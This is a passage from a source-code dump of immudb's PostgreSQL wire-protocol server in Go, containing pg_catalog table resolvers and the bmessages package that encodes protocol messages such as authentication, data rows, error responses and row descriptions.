relispartition\n\t\t\tsql.NewInteger(0),                    // relrewrite\n\t\t\tsql.NewNull(sql.IntegerType),         // relfrozenxid\n\t\t\tsql.NewNull(sql.IntegerType),         // relminmxid\n\t\t\tsql.NewNull(sql.AnyType),             // relacl\n\t\t\tsql.NewNull(sql.AnyType),             // reloptions\n\t\t\tsql.NewNull(sql.AnyType),             // relpartbound\n\t\t}\n\t}\n\n\treturn sql.NewValuesRowReader(\n\t\ttx,\n\t\tnil,\n\t\tpgClassCols,\n\t\ttrue,\n\t\talias,\n\t\trows,\n\t)\n}\n\nfunc (r *pgClassResolver) Table() string {\n\treturn \"pg_class\"\n}\n\nvar pgNamespaceCols = []sql.ColDescriptor{\n\t{\n\t\tColumn: \"oid\",\n\t\tType:   sql.IntegerType,\n\t},\n\t{\n\t\tColumn: \"nspname\",\n\t\tType:   sql.VarcharType,\n\t},\n\t{\n\t\tColumn: \"nspowner\",\n\t\tType:   sql.IntegerType,\n\t},\n\t{\n\t\tColumn: \"nspacl\",\n\t\tType:   sql.AnyType,\n\t},\n}\n\ntype pgNamespaceResolver struct{}\n\nfunc (r *pgNamespaceResolver) Resolve(ctx context.Context, tx *sql.SQLTx, alias string) (sql.RowReader, error) {\n\treturn sql.NewValuesRowReader(\n\t\ttx,\n\t\tnil,\n\t\tpgNamespaceCols,\n\t\ttrue,\n\t\talias,\n\t\tnil,\n\t)\n}\n\nfunc (r *pgNamespaceResolver) Table() string {\n\treturn \"pg_namespace\"\n}\n\nvar pgRolesCols = []sql.ColDescriptor{\n\t{\n\t\tColumn: \"rolname\",\n\t\tType:   sql.VarcharType,\n\t},\n\t{\n\t\tColumn: \"rolsuper\",\n\t\tType:   sql.BooleanType,\n\t},\n\t{\n\t\tColumn: \"rolinherit\",\n\t\tType:   sql.BooleanType,\n\t},\n\t{\n\t\tColumn: \"rolcreaterole\",\n\t\tType:   sql.BooleanType,\n\t},\n\t{\n\t\tColumn: \"rolcreatedb\",\n\t\tType:   sql.BooleanType,\n\t},\n\t{\n\t\tColumn: \"rolcanlogin\",\n\t\tType:   sql.BooleanType,\n\t},\n\t{\n\t\tColumn: \"rolreplication\",\n\t\tType:   sql.BooleanType,\n\t},\n\t{\n\t\tColumn: \"rolconnlimit\",\n\t\tType:   sql.IntegerType,\n\t},\n\t{\n\t\tColumn: \"rolpassword\",\n\t\tType:   sql.VarcharType,\n\t},\n\t{\n\t\tColumn: \"rolvaliduntil\",\n\t\tType:   sql.TimestampType,\n\t},\n\t{\n\t\tColumn: \"rolbypassrls\",\n\t\tType:   sql.BooleanType,\n\t},\n\t{\n\t\tColumn: \"rolconfig\",\n\t\tType:   sql.AnyType,\n\t},\n\t{\n\t\tColumn: \"oid\",\n\t\tType:   sql.IntegerType,\n\t},\n}\n\ntype pgRolesResolver struct{}\n\nfunc (r *pgRolesResolver) Resolve(ctx context.Context, tx *sql.SQLTx, alias string) (sql.RowReader, error) {\n\tusers, err := tx.ListUsers(ctx)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\trows := make([][]sql.ValueExp, len(users))\n\tfor i, u := range users {\n\t\tisAdmin := u.Permission() == sql.PermissionSysAdmin || u.Permission() == sql.PermissionAdmin\n\n\t\trows[i] = []sql.ValueExp{\n\t\t\tsql.NewVarchar(u.Username()),   // name\n\t\t\tsql.NewBool(isAdmin),           // rolsuper\n\t\t\tsql.NewBool(isAdmin),           // rolinherit\n\t\t\tsql.NewBool(isAdmin),           // rolcreaterole\n\t\t\tsql.NewBool(isAdmin),           // rolcreatedb\n\t\t\tsql.NewBool(true),              // rolcanlogin\n\t\t\tsql.NewBool(false),             // rolreplication\n\t\t\tsql.NewInteger(-1),             // rolconnlimit\n\t\t\tsql.NewVarchar(\"********\"),     // rolpassword\n\t\t\tsql.NewNull(sql.TimestampType), // rolvaliduntil\n\t\t\tsql.NewBool(isAdmin),           // rolbypassrls\n\t\t\tsql.NewNull(sql.AnyType),       // rolconfig\n\t\t\tsql.NewNull(sql.IntegerType),   // oid\n\t\t}\n\t}\n\n\treturn sql.NewValuesRowReader(\n\t\ttx,\n\t\tnil,\n\t\tpgRolesCols,\n\t\ttrue,\n\t\talias,\n\t\trows,\n\t)\n}\n\nfunc (r *pgRolesResolver) Table() string {\n\treturn \"pg_roles\"\n}\n\nvar tableResolvers = []sql.TableResolver{\n\t&pgClassResolver{},\n\t&pgNamespaceResolver{},\n\t&pgRolesResolver{},\n}\n\nfunc PgCatalogResolvers() []sql.TableResolver {\n\treturn tableResolvers\n}\n"
  },
  {
    "path": "pkg/pgsql/server/bmessages/authentication_cleartext_password.go",
    "content": "/*\nCopyright 2025 Codenotary Inc. All rights reserved.\n\nSPDX-License-Identifier: BUSL-1.1\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n    https://mariadb.com/bsl11/\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n*/\n\npackage bmessages\n\nimport (\n\t\"bytes\"\n\t\"encoding/binary\"\n)\n\nfunc AuthenticationCleartextPassword() []byte {\n\tmessageType := []byte(`R`)\n\tmessageLength := make([]byte, 4)\n\tmessage := make([]byte, 4)\n\tbinary.BigEndian.PutUint32(messageLength, uint32(8))\n\tbinary.BigEndian.PutUint32(message, uint32(3))\n\treturn bytes.Join([][]byte{messageType, messageLength, message}, nil)\n}\n"
  },
  {
    "path": "pkg/pgsql/server/bmessages/authentication_ok.go",
    "content": "/*\nCopyright 2025 Codenotary Inc. All rights reserved.\n\nSPDX-License-Identifier: BUSL-1.1\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n    https://mariadb.com/bsl11/\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n*/\n\npackage bmessages\n\nimport (\n\t\"bytes\"\n\t\"encoding/binary\"\n)\n\nfunc AuthenticationOk() []byte {\n\tmessageType := []byte(`R`)\n\tmessageLength := make([]byte, 4)\n\tmessage := make([]byte, 4)\n\tbinary.BigEndian.PutUint32(messageLength, uint32(8))\n\tbinary.BigEndian.PutUint32(message, uint32(0))\n\treturn bytes.Join([][]byte{messageType, messageLength, message}, nil)\n}\n"
  },
  {
    "path": "pkg/pgsql/server/bmessages/bind_complete.go",
    "content": "/*\nCopyright 2025 Codenotary Inc. All rights reserved.\n\nSPDX-License-Identifier: BUSL-1.1\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n    https://mariadb.com/bsl11/\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n*/\n\npackage bmessages\n\nimport (\n\t\"bytes\"\n\t\"encoding/binary\"\n)\n\nfunc BindComplete() []byte {\n\tmessageType := []byte(`2`)\n\tmessage := make([]byte, 4)\n\tbinary.BigEndian.PutUint32(message, uint32(4))\n\treturn bytes.Join([][]byte{messageType, message}, nil)\n}\n"
  },
  {
    "path": "pkg/pgsql/server/bmessages/command_complete.go",
    "content": "/*\nCopyright 2025 Codenotary Inc. All rights reserved.\n\nSPDX-License-Identifier: BUSL-1.1\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n    https://mariadb.com/bsl11/\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n*/\n\npackage bmessages\n\nimport (\n\t\"bytes\"\n\t\"encoding/binary\"\n)\n\nfunc CommandComplete(msg []byte) []byte {\n\tmessageType := []byte(`C`)\n\tmsg = bytes.Join([][]byte{msg, {0}}, nil)\n\tselfMessageLength := make([]byte, 4)\n\tbinary.BigEndian.PutUint32(selfMessageLength, uint32(len(msg)+4))\n\n\treturn bytes.Join([][]byte{messageType, selfMessageLength, msg}, nil)\n}\n"
  },
  {
    "path": "pkg/pgsql/server/bmessages/data_row.go",
    "content": "/*\nCopyright 2025 Codenotary Inc. All rights reserved.\n\nSPDX-License-Identifier: BUSL-1.1\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n    https://mariadb.com/bsl11/\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n*/\n\npackage bmessages\n\nimport (\n\t\"bytes\"\n\t\"encoding/binary\"\n\t\"strings\"\n\n\t\"github.com/codenotary/immudb/embedded/sql\"\n)\n\n// DataRow if ResultColumnFormatCodes is nil default text format is used\nfunc DataRow(rows []*sql.Row, colNumb int, ResultColumnFormatCodes []int16) []byte {\n\trowsB := make([]byte, 0)\n\tfor _, row := range rows {\n\t\trowB := make([]byte, 0)\n\t\t// Identifies the message as a data row.\n\t\t// Byte1('D')\n\t\tmessageType := []byte(`D`)\n\n\t\t// The number of column values that follow (possibly zero).\n\t\t// Int16\n\t\tcolumnNumb := make([]byte, 2)\n\t\tbinary.BigEndian.PutUint16(columnNumb, uint16(colNumb))\n\n\t\tfor i, val := range row.ValuesByPosition {\n\t\t\tif val == nil {\n\t\t\t\treturn nil\n\t\t\t}\n\n\t\t\tvalueLength := make([]byte, 4)\n\t\t\tvalue := make([]byte, 0)\n\n\t\t\tBINformat := false\n\t\t\tif len(ResultColumnFormatCodes) == 1 {\n\t\t\t\tBINformat = ResultColumnFormatCodes[0] == 1\n\t\t\t}\n\t\t\tif ResultColumnFormatCodes != nil && len(ResultColumnFormatCodes) > i && ResultColumnFormatCodes[i] == 1 {\n\t\t\t\tBINformat = true\n\t\t\t}\n\t\t\tif BINformat {\n\t\t\t\tif val.IsNull() {\n\t\t\t\t\tn := -1\n\t\t\t\t\tbinary.BigEndian.PutUint32(valueLength, uint32(n))\n\t\t\t\t} else {\n\t\t\t\t\trv := val.RawValue()\n\t\t\t\t\tswitch val.Type() {\n\t\t\t\t\tcase sql.IntegerType:\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\tbinary.BigEndian.PutUint32(valueLength, uint32(8))\n\t\t\t\t\t\t\tvalue = make([]byte, 8)\n\t\t\t\t\t\t\tbinary.BigEndian.PutUint64(value, uint64(rv.(int64)))\n\t\t\t\t\t\t}\n\t\t\t\t\tcase sql.JSONType:\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\tjsonStr := trimQuotes(val.String())\n\t\t\t\t\t\t\tbinary.BigEndian.PutUint32(valueLength, uint32(len(jsonStr)))\n\t\t\t\t\t\t\tvalue = []byte(jsonStr)\n\t\t\t\t\t\t}\n\t\t\t\t\tcase sql.VarcharType:\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\ts := rv.(string)\n\t\t\t\t\t\t\tbinary.BigEndian.PutUint32(valueLength, uint32(len(s)))\n\t\t\t\t\t\t\tvalue = []byte(s)\n\t\t\t\t\t\t}\n\t\t\t\t\tcase sql.BooleanType:\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\tbinary.BigEndian.PutUint32(valueLength, uint32(1))\n\t\t\t\t\t\t\tvalue = []byte{0}\n\t\t\t\t\t\t\tif rv.(bool) {\n\t\t\t\t\t\t\t\tvalue = []byte{1}\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t}\n\t\t\t\t\tcase sql.BLOBType:\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\tblob := rv.([]byte)\n\t\t\t\t\t\t\tbinary.BigEndian.PutUint32(valueLength, uint32(len(blob)))\n\t\t\t\t\t\t\tvalue = blob\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t} else {\n\t\t\t\t// only text format is allowed in simple query\n\t\t\t\tvalue = renderValueAsByte(val)\n\t\t\t}\n\t\t\tbinary.BigEndian.PutUint32(valueLength, uint32(len(value)))\n\t\t\t//  As a special case, -1 indicates a NULL column value. No value bytes follow in the NULL case.\n\t\t\tif value == nil {\n\t\t\t\ttm := int32(-1)\n\t\t\t\tvalue = nil\n\t\t\t\tbinary.BigEndian.PutUint32(valueLength, uint32(tm))\n\t\t\t}\n\t\t\trowB = append(rowB, bytes.Join([][]byte{valueLength, value}, nil)...)\n\t\t}\n\n\t\t// Length of message contents in bytes, including self.\n\t\t// Int32\n\t\tselfMessageLength := make([]byte, 4)\n\t\tbinary.BigEndian.PutUint32(selfMessageLength, uint32(4+2+len(rowB)))\n\t\trowsB = append(rowsB, bytes.Join([][]byte{messageType, selfMessageLength, columnNumb, rowB}, nil)...)\n\t}\n\treturn rowsB\n}\n\nfunc renderValueAsByte(v sql.TypedValue) []byte {\n\tif v.IsNull() {\n\t\treturn nil\n\t}\n\n\tvar s string\n\tswitch v.Type() {\n\tcase sql.VarcharType:\n\t\ts, _ = v.RawValue().(string)\n\tcase sql.JSONType:\n\t\ts = trimQuotes(v.String())\n\tdefault:\n\t\ts = v.String()\n\t}\n\treturn []byte(s)\n}\n\nfunc trimQuotes(s string) string {\n\treturn strings.TrimSuffix(strings.TrimPrefix(s, \"'\"), \"'\")\n}\n"
  },
  {
    "path": "pkg/pgsql/server/bmessages/empty_query_response.go",
    "content": "/*\nCopyright 2025 Codenotary Inc. All rights reserved.\n\nSPDX-License-Identifier: BUSL-1.1\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n    https://mariadb.com/bsl11/\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n*/\n\npackage bmessages\n\nimport (\n\t\"bytes\"\n\t\"encoding/binary\"\n)\n\nfunc EmptyQueryResponse() []byte {\n\tmessageType := []byte(`I`)\n\tmessage := make([]byte, 4)\n\tbinary.BigEndian.PutUint32(message, uint32(4))\n\treturn bytes.Join([][]byte{messageType, message}, nil)\n}\n"
  },
  {
    "path": "pkg/pgsql/server/bmessages/error_response.go",
    "content": "/*\nCopyright 2025 Codenotary Inc. All rights reserved.\n\nSPDX-License-Identifier: BUSL-1.1\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n    https://mariadb.com/bsl11/\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n*/\n\npackage bmessages\n\nimport (\n\t\"bytes\"\n\t\"encoding/binary\"\n\t\"fmt\"\n)\n\ntype errorResp struct {\n\tfields map[byte]string\n}\n\ntype ErrorResp interface {\n\tEncode() []byte\n\tToString() string\n}\n\nfunc ErrorResponse(setters ...Option) *errorResp {\n\ter := &errorResp{\n\t\tfields: make(map[byte]string),\n\t}\n\tfor _, setter := range setters {\n\t\tsetter(er)\n\t}\n\n\treturn er\n}\n\n//Encode encode in binary\nfunc (er *errorResp) Encode() []byte {\n\tmessageType := []byte(`E`)\n\tmessageLength := make([]byte, 4)\n\tbody := make([]byte, 0)\n\tfor code, value := range er.fields {\n\t\tbody = append(body, bytes.Join([][]byte{{code}, []byte(value), {0}}, nil)...)\n\t}\n\n\tbinary.BigEndian.PutUint32(messageLength, uint32(len(body)+4+1))\n\n\treturn bytes.Join([][]byte{messageType, messageLength, body, {0}}, nil)\n}\n\nfunc (er *errorResp) ToString() string {\n\treturn fmt.Sprintf(\"Map: %v\", er.fields)\n}\n"
  },
  {
    "path": "pkg/pgsql/server/bmessages/error_response_opt.go",
    "content": "/*\nCopyright 2025 Codenotary Inc. All rights reserved.\n\nSPDX-License-Identifier: BUSL-1.1\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n    https://mariadb.com/bsl11/\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n*/\n\npackage bmessages\n\ntype Option func(s *errorResp)\n\n// Severity the field contents are ERROR, FATAL, or PANIC (in an error message), or WARNING, NOTICE, DEBUG, INFO, or LOG (in a notice message), or a localized translation of one of these. Always present.\nfunc Severity(value string) Option {\n\treturn func(args *errorResp) {\n\t\targs.fields['S'] = value\n\t}\n}\n\n// Severity the field contents are ERROR, FATAL, or PANIC (in an error message), or WARNING, NOTICE, DEBUG, INFO, or LOG (in a notice message). This is identical to the S field except that the contents are never localized. This is present only in messages generated by PostgreSQL versions 9.6 and later.\nfunc SeverityNotLoc(value string) Option {\n\treturn func(args *errorResp) {\n\t\targs.fields['v'] = value\n\t}\n}\n\n// Code the SQLSTATE code for the error (see Appendix A). Not localizable. Always present.\nfunc Code(value string) Option {\n\treturn func(args *errorResp) {\n\t\targs.fields['C'] = value\n\t}\n}\n\n// Message the primary human-readable error message. This should be accurate but terse (typically one line). Always present.\nfunc Message(value string) Option {\n\treturn func(args *errorResp) {\n\t\targs.fields['M'] = value\n\t}\n}\n\n// Detail an optional secondary error message carrying more detail about the problem. Might run to multiple lines.\nfunc Detail(value string) Option {\n\treturn func(args *errorResp) {\n\t\targs.fields['D'] = value\n\t}\n}\n\n// Hint an optional suggestion what to do about the problem. This is intended to differ from Detail in that it offers advice (potentially inappropriate) rather than hard facts. Might run to multiple lines.\nfunc Hint(value string) Option {\n\treturn func(args *errorResp) {\n\t\targs.fields['H'] = value\n\t}\n}\n\n// Position the field value is a decimal ASCII integer, indicating an error cursor position as an index into the original query string. The first character has index 1, and positions are measured in characters not bytes.\nfunc Position(value string) Option {\n\treturn func(args *errorResp) {\n\t\targs.fields['P'] = value\n\t}\n}\n\n// InternalPosition this is defined the same as the P field, but it is used when the cursor position refers to an internally generated command rather than the one submitted by the client. The q field will always appear when this field appears.\nfunc InternalPosition(value string) Option {\n\treturn func(args *errorResp) {\n\t\targs.fields['p'] = value\n\t}\n}\n\n// InternalQuery the text of a failed internally-generated command. This could be, for example, a SQL query issued by a PL/pgSQL function.\nfunc InternalQuery(value string) Option {\n\treturn func(args *errorResp) {\n\t\targs.fields['q'] = value\n\t}\n}\n\n// Where an indication of the context in which the error occurred. Presently this includes a call stack traceback of active procedural language functions and internally-generated queries. The trace is one entry per line, most recent first.\nfunc Where(value string) Option {\n\treturn func(args *errorResp) {\n\t\targs.fields['W'] = value\n\t}\n}\n\n// SchemaName if the error was associated with a specific database object, the name of the schema containing that object, if any.\nfunc SchemaName(value string) Option {\n\treturn func(args *errorResp) {\n\t\targs.fields['s'] = value\n\t}\n}\n\n// TableName if the error was associated with a specific table, the name of the table. (Refer to the schema name field for the name of the table's schema.)\nfunc TableName(value string) Option {\n\treturn func(args *errorResp) {\n\t\targs.fields['t'] = value\n\t}\n}\n\n// ColumnName if the error was associated with a specific table column, the name of the column. (Refer to the schema and table name fields to identify the table.)\nfunc ColumnName(value string) Option {\n\treturn func(args *errorResp) {\n\t\targs.fields['c'] = value\n\t}\n}\n\n// DataTypeName if the error was associated with a specific data type, the name of the data type. (Refer to the schema name field for the name of the data type's schema.)\nfunc DataTypeName(value string) Option {\n\treturn func(args *errorResp) {\n\t\targs.fields['d'] = value\n\t}\n}\n\n// ConstraintName if the error was associated with a specific constraint, the name of the constraint. Refer to fields listed above for the associated table or domain. (For this purpose, indexes are treated as constraints, even if they weren't created with constraint syntax.)\nfunc ConstraintName(value string) Option {\n\treturn func(args *errorResp) {\n\t\targs.fields['n'] = value\n\t}\n}\n\n// File the file name of the source-code location where the error was reported.\nfunc File(value string) Option {\n\treturn func(args *errorResp) {\n\t\targs.fields['F'] = value\n\t}\n}\n\n// Line the line number of the source-code location where the error was reported.\nfunc Line(value string) Option {\n\treturn func(args *errorResp) {\n\t\targs.fields['L'] = value\n\t}\n}\n\n// Routine the name of the source-code routine reporting the error.\nfunc Routine(value string) Option {\n\treturn func(args *errorResp) {\n\t\targs.fields['R'] = value\n\t}\n}\n"
  },
  {
    "path": "pkg/pgsql/server/bmessages/error_response_test.go",
    "content": "/*\nCopyright 2025 Codenotary Inc. All rights reserved.\n\nSPDX-License-Identifier: BUSL-1.1\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n    https://mariadb.com/bsl11/\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n*/\n\npackage bmessages\n\nimport (\n\t\"testing\"\n\n\t\"github.com/stretchr/testify/require\"\n)\n\nfunc TestErrorResponse(t *testing.T) {\n\ter := ErrorResponse(Severity(\"severity\"),\n\t\tCode(\"test\"),\n\t\tMessage(\"test\"),\n\t\tHint(\"test\"),\n\t\tSeverityNotLoc(\"test\"),\n\t\tDetail(\"test\"),\n\t\tPosition(\"test\"),\n\t\tInternalPosition(\"test\"),\n\t\tInternalQuery(\"test\"),\n\t\tWhere(\"test\"),\n\t\tSchemaName(\"test\"),\n\t\tTableName(\"test\"),\n\t\tColumnName(\"test\"),\n\t\tDataTypeName(\"test\"),\n\t\tConstraintName(\"test\"),\n\t\tFile(\"test\"),\n\t\tLine(\"test\"),\n\t\tRoutine(\"test\"),\n\t)\n\trequire.NotNil(t, er)\n}\n"
  },
  {
    "path": "pkg/pgsql/server/bmessages/parameter_description.go",
    "content": "/*\nCopyright 2025 Codenotary Inc. All rights reserved.\n\nSPDX-License-Identifier: BUSL-1.1\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n    https://mariadb.com/bsl11/\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n*/\n\npackage bmessages\n\nimport (\n\t\"bytes\"\n\t\"encoding/binary\"\n\n\t\"github.com/codenotary/immudb/embedded/sql\"\n\t\"github.com/codenotary/immudb/pkg/pgsql/server/pgmeta\"\n)\n\n// Byte1('t')\n// Identifies the message as a parameter description.\n//\n// Int32\n// Length of message contents in bytes, including self.\n//\n// Int16\n// The number of parameters used by the statement (can be zero).\n//\n// Then, for each parameter, there is the following:\n//\n// Int32\n// Specifies the object ID of the parameter data type.\n// ParameterDescription send a parameter description message. Cols need to be lexicographically ordered by selector\nfunc ParameterDescription(cols []sql.ColDescriptor) []byte {\n\t// Identifies the message as a run-time parameter status report.\n\tmessageType := []byte(`t`)\n\tselfMessageLength := make([]byte, 4)\n\n\tparamsNumberB := make([]byte, 2)\n\tbinary.BigEndian.PutUint16(paramsNumberB, uint16(len(cols)))\n\n\tparams := make([][]byte, 0)\n\tfor _, c := range cols {\n\t\tp := pgmeta.PgTypeMap[c.Type][pgmeta.PgTypeMapOid]\n\t\tparamB := make([]byte, 4)\n\t\tbinary.BigEndian.PutUint32(paramB, uint32(p))\n\t\tparams = append(params, paramB)\n\t}\n\n\tbinary.BigEndian.PutUint32(selfMessageLength, uint32(len(paramsNumberB)+len(params)*4+4))\n\n\treturn bytes.Join([][]byte{messageType, selfMessageLength, paramsNumberB, bytes.Join(params, nil)}, nil)\n}\n"
  },
  {
    "path": "pkg/pgsql/server/bmessages/parameter_status.go",
    "content": "/*\nCopyright 2025 Codenotary Inc. All rights reserved.\n\nSPDX-License-Identifier: BUSL-1.1\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n    https://mariadb.com/bsl11/\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n*/\n\npackage bmessages\n\nimport (\n\t\"bytes\"\n\t\"encoding/binary\"\n)\n\nfunc ParameterStatus(pname, pval []byte) []byte {\n\t// Identifies the message as a run-time parameter status report.\n\tmessageType := []byte(`S`)\n\tselfMessageLength := make([]byte, 4)\n\n\t//The name of the run-time parameter being reported.\n\tpname = append(pname, 0)\n\t// The current value of the parameter.\n\tpval = append(pval, 0)\n\n\tbinary.BigEndian.PutUint32(selfMessageLength, uint32(len(pname)+len(pval)+4))\n\treturn bytes.Join([][]byte{messageType, selfMessageLength, pname, pval}, nil)\n}\n"
  },
  {
    "path": "pkg/pgsql/server/bmessages/parse_complete.go",
    "content": "/*\nCopyright 2025 Codenotary Inc. All rights reserved.\n\nSPDX-License-Identifier: BUSL-1.1\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n    https://mariadb.com/bsl11/\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n*/\n\npackage bmessages\n\nimport (\n\t\"bytes\"\n\t\"encoding/binary\"\n)\n\nfunc ParseComplete() []byte {\n\tmessageType := []byte(`1`)\n\tmessage := make([]byte, 4)\n\tbinary.BigEndian.PutUint32(message, uint32(4))\n\treturn bytes.Join([][]byte{messageType, message}, nil)\n}\n"
  },
  {
    "path": "pkg/pgsql/server/bmessages/ready_for_query.go",
    "content": "/*\nCopyright 2025 Codenotary Inc. All rights reserved.\n\nSPDX-License-Identifier: BUSL-1.1\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n    https://mariadb.com/bsl11/\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n*/\n\npackage bmessages\n\nimport (\n\t\"bytes\"\n\t\"encoding/binary\"\n)\n\nfunc ReadyForQuery() []byte {\n\tmessageType := []byte(`Z`)\n\tmessage := make([]byte, 4)\n\tidle := []byte(`I`)\n\tbinary.BigEndian.PutUint32(message, uint32(5))\n\treturn bytes.Join([][]byte{messageType, message, idle}, nil)\n}\n"
  },
  {
    "path": "pkg/pgsql/server/bmessages/row_description.go",
    "content": "/*\nCopyright 2025 Codenotary Inc. All rights reserved.\n\nSPDX-License-Identifier: BUSL-1.1\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n    https://mariadb.com/bsl11/\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n*/\n\npackage bmessages\n\nimport (\n\t\"bytes\"\n\t\"encoding/binary\"\n\n\t\"github.com/codenotary/immudb/embedded/sql\"\n\t\"github.com/codenotary/immudb/pkg/pgsql/server/pgmeta\"\n)\n\nfunc RowDescription(cols []sql.ColDescriptor, formatCodes []int16) []byte {\n\t////##-> dataRowDescription\n\t//Byte1('T')\n\tmessageType := []byte(`T`)\n\n\t// Specifies the number of fields in a row (can be zero).\n\t// Int16\n\tfieldNumb := make([]byte, 2)\n\tbinary.BigEndian.PutUint16(fieldNumb, uint16(len(cols)))\n\n\trowDescMessageB := make([]byte, 0)\n\tfor n, col := range cols {\n\t\t// The field name.\n\t\t// String\n\t\tfieldName := []byte(col.Selector())\n\t\tfieldName = bytes.Join([][]byte{fieldName, {0}}, nil)\n\t\t// If the field can be identified as a column of a specific table, the object ID of the table; otherwise zero.\n\t\t// Int32\n\t\tid := make([]byte, 4)\n\t\tbinary.BigEndian.PutUint32(id, uint32(0))\n\t\t// If the field can be identified as a column of a specific table, the attribute number of the column; otherwise zero.\n\t\t// Int16\n\t\tattributeNumber := make([]byte, 2)\n\t\tbinary.BigEndian.PutUint16(attributeNumber, uint16(n+1))\n\t\t// The object ID of the field's data type.\n\t\t// Int32\n\t\tobjectId := make([]byte, 4)\n\n\t\toid := pgmeta.PgTypeMap[col.Type][pgmeta.PgTypeMapOid]\n\t\tbinary.BigEndian.PutUint32(objectId, uint32(oid))\n\t\t// The data type size (see pg_type.typlen). Note that negative values denote variable-width types.\n\t\t// For a fixed-size type, typlen is the number of bytes in the internal representation of the type. But for a variable-length type, typlen is negative. -1 indicates a “varlena” type (one that has a length word), -2 indicates a null-terminated C string.\n\t\t// Int16\n\t\tdataTypeSize := make([]byte, 2)\n\t\tl := pgmeta.PgTypeMap[col.Type][pgmeta.PgTypeMapLength]\n\t\tbinary.BigEndian.PutUint16(dataTypeSize, uint16(l))\n\t\t// The type modifier (see pg_attribute.atttypmod). The meaning of the modifier is type-specific.\n\t\t// atttypmod records type-specific data supplied at table creation time (for example, the maximum length of a varchar column). It is passed to type-specific input functions and length coercion functions. The value will generally be -1 for types that do not need atttypmod.\n\t\t// Int32\n\t\ttypeModifier := make([]byte, 4)\n\t\ttm := int32(-1)\n\t\tbinary.BigEndian.PutUint32(typeModifier, uint32(tm))\n\t\t// The format code being used for the field. Currently will be zero (text) or one (binary). In a RowDescription returned from the statement variant of Describe, the format code is not yet known and will always be zero.\n\t\t// Int16\n\t\t// In simple Query mode, the format of retrieved values is always text, except when the given command is a FETCH from a cursor declared with the BINARY option. In that case, the retrieved values are in binary format. The format codes given in the RowDescription message tell which format is being used.\n\t\tfc := int16(0)\n\t\tif len(formatCodes) >= n+1 {\n\t\t\tfc = 